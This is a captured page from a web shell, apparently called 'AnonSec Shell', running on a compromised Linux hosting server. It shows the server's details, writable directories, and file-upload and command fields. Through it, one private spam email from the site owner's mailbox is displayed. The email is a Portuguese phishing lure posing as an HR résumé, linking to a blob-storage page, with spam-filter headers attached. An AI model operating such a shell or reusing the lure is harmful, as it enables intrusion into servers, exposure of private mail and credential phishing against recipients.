AnonSec Shell
Server IP : 162.214.74.102  /  Your IP : 216.73.216.252
Web Server : Apache
System : Linux dedi-4363141.lrsys.com.br 3.10.0-1160.119.1.el7.tuxcare.els25.x86_64 #1 SMP Wed Oct 1 17:37:27 UTC 2025 x86_64
User : lrsys ( 1015)
PHP Version : 5.6.40
Disable Function : exec,passthru,shell_exec,system
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/lrsys/././././mail/.spam/new/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/lrsys/././././mail/.spam/new/1720996573.M293775P27442.dedi-4363141.lrsys.com.br,S=5589,W=5702
Return-Path: <rbtwk@fskr24.gotasexybr.store>
Delivered-To: lrsys+spam@dedi-4363141.lrsys.com.br
Received: from dedi-4363141.lrsys.com.br
	by dedi-4363141.lrsys.com.br with LMTP
	id 1D5eEN1SlGYyawAAIWsJAg
	(envelope-from <rbtwk@fskr24.gotasexybr.store>)
	for <lrsys+spam@dedi-4363141.lrsys.com.br>; Sun, 14 Jul 2024 19:36:13 -0300
Return-path: <rbtwk@fskr24.gotasexybr.store>
Envelope-to: vendas@lrsys.com.br
Delivery-date: Sun, 14 Jul 2024 19:36:13 -0300
Received: from 19.22.23.34.bc.googleusercontent.com ([34.23.22.19]:59182 helo=fskr24.gotasexybr.store)
	by dedi-4363141.lrsys.com.br with esmtps  (TLS1.2) tls TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384
	(Exim 4.96.2)
	(envelope-from <rbtwk@fskr24.gotasexybr.store>)
	id 1sT7p9-000785-2L
	for vendas@lrsys.com.br;
	Sun, 14 Jul 2024 19:36:13 -0300
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple;
	d=fskr24.gotasexybr.store; s=fskr24; t=1720996512;
	bh=oCZZJr67mfx/s0R2KTfgjoGRZpFNzvXL4YibQVwFaKM=;
	h=From:To:Subject:Date;
	b=dlaLPE5i+tfkNRtpaD7sl2dgdHmZXFYtOMwR5F+PJCOXqJrrMTDL8bPjpirWXtCWu
	 lPMVNKcfJuTnP/j47lTBKNaNoTlDM0oerf/Xv1/MSLA/zopbPa6RVRWdAlIP3QKTzk
	 oyp0l3Y2eatmEP8fCvDe+SnOaLPbrRzuK9AgFeJSW/Tz3aC0eNJFdxSO4K7zl/JGmr
	 lxXX/0aW++S/JGb94vERf0b/i4z2L83ZE36RoUkgZw9/DFemTeTZwVN/c9cf1xJsxy
	 8OzUGL2QUMBaKxDusO3qFLOQNb/6a7M06w3ZnYENYk4FyTqji3UrwH06TdzuiYsSXL
	 0XTrlNOEi2ewQ==
Received: from localhost (localhost [127.0.0.1])
	by fskr24.gotasexybr.store (Postfix) with UTF8SMTP id 45EA2345F1D
	for <vendas@lrsys.com.br>; Sun, 14 Jul 2024 22:35:12 +0000 (UTC)
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
 s=fskr24; d=fskr24.gotasexybr.store; t=1720996512;
  h=from:subject:date:message-id:to:mime-version:content-type:
 user-agent:x-mailer:content-language;
 bh=oCZZJr67mfx/s0R2KTfgjoGRZpFNzvXL4YibQVwFaKM=;
 b=dnkZGa9rRiTkBS2rtWx+Zj/P78B39nC4t7G5PcQIKGtrtPd3+qRYKha7hPVLo/RdH0hQ6k
 b8QjaddwUdZ9pP5pS7GW34PvasxqCHyuSSjEpuPnEyWmug+r50ZdHl3+3lVm4Yp54JHU+u
 tCzzac1XhRA/m0NbYtWNf5NG7vTxUudqZQLegeOP6mqmvtkYj/0s/s3tAfPBKDngFP2ABm
 1bXZ7Lr0Lio0C5G7Y7e5IMkrFcD5WdiY64shSgW5FmpB9B2d9qofws+9ob2wPaOpFAyJY0
 JKm0+DHDDAbw3HdA2+8cqkiARldRQDmfrmKnA/RFuGvVFEezpJghYRaplQyh7w==
MIME-Version: 1.0
User-Agent: SparkPost API
From: "Ana Matos" <rbtwk@fskr24.gotasexybr.store>
To: <vendas@lrsys.com.br>
X-Mailer: SparkPost API
Message-Id: <7f709e57e7745ba74b58e54a19a9627f@fskr24.gotasexybr.store>
Content-Type: multipart/alternative;
 boundary=cd9a37904e8f4972b5043a65c1242bc86cf8185d7ee3251fcc90ad386958
Date: Sun, 14 Jul 2024 22:35:12 +0000
X-Spam-Status: Yes, score=14.0
X-Spam-Score: 140
X-Spam-Bar: ++++++++++++++
X-Spam-Report: Spam detection software, running on the system "dedi-4363141.lrsys.com.br",
 has identified this incoming email as possible spam.  The original
 message has been attached to this so you can view it or label
 similar future email.  If you have any questions, see
 root\@localhost for details.
 Content preview:  Segue o currículo atualizado do novo funcionário. Cur-12050628
    Ana Matos RH 
 Content analysis details:   (14.0 points, 5.0 required)
  pts rule name              description
 ---- ---------------------- --------------------------------------------------
  0.0 URIBL_BLOCKED          ADMINISTRATOR NOTICE: The query to URIBL was
                             blocked.  See
                             http://wiki.apache.org/spamassassin/DnsBlocklists#dnsbl-block
                              for more information.
                             [URIs: gotasexybr.store]
  4.5 URIBL_DBL_SPAM         Contains a spam URL listed in the Spamhaus DBL
                             blocklist
                             [URIs: gotasexybr.store]
  5.0 BAYES_99               BODY: Bayes spam probability is 99 to 100%
                             [score: 1.0000]
  1.0 BAYES_999              BODY: Bayes spam probability is 99.9 to 100%
                             [score: 1.0000]
  0.0 TVD_RCVD_IP            Message was received from an IP address
  0.0 HK_RANDOM_ENVFROM      Envelope sender username looks random
  0.0 HK_RANDOM_FROM         From username looks random
 -0.0 SPF_PASS               SPF: sender matches SPF record
 -0.0 SPF_HELO_PASS          SPF: HELO matches SPF record
  0.0 HTML_MESSAGE           BODY: HTML included in message
 -0.1 DKIM_VALID             Message has at least one valid DKIM or DK signature
  0.1 DKIM_SIGNED            Message has a DKIM or DK signature, not necessarily
                             valid
 -0.1 DKIM_VALID_AU          Message has a valid DKIM or DK signature from
                             author's domain
  1.0 KAM_HTMLNOISE          Spam containing useless HTML padding
  2.6 RDNS_DYNAMIC           Delivered to internal network by host with
                             dynamic-looking rDNS
X-Spam-Flag: YES
Subject:  ***SPAM***  =?UTF-8?Q?Segue_Curr=C3=ADculo_N:%%N9%%?=

--cd9a37904e8f4972b5043a65c1242bc86cf8185d7ee3251fcc90ad386958
Content-Transfer-Encoding: quoted-printable
Content-Type: text/html; charset=UTF-8

<html>
<head>
<style></style></head>
<body>
<p>Segue o curr=C3=ADculo atualizado do novo funcion=C3=A1rio.</p>
<p><a href=3D"https://contato15072024.blob.core.windows.net/web/index.html?=
id=3D308">Cur-12050628</p>
<p>Ana Matos RH</p>
</body>
</html>
--cd9a37904e8f4972b5043a65c1242bc86cf8185d7ee3251fcc90ad386958
Content-Transfer-Encoding: quoted-printable
Content-Type: text/plain; charset=UTF-8

Segue o curr=C3=ADculo atualizado do novo funcion=C3=A1rio.

 https://contato15072024.blob.core.windows.net/web/index.html?id=3D308
--cd9a37904e8f4972b5043a65c1242bc86cf8185d7ee3251fcc90ad386958--

Anon7 - 2022
AnonSec Team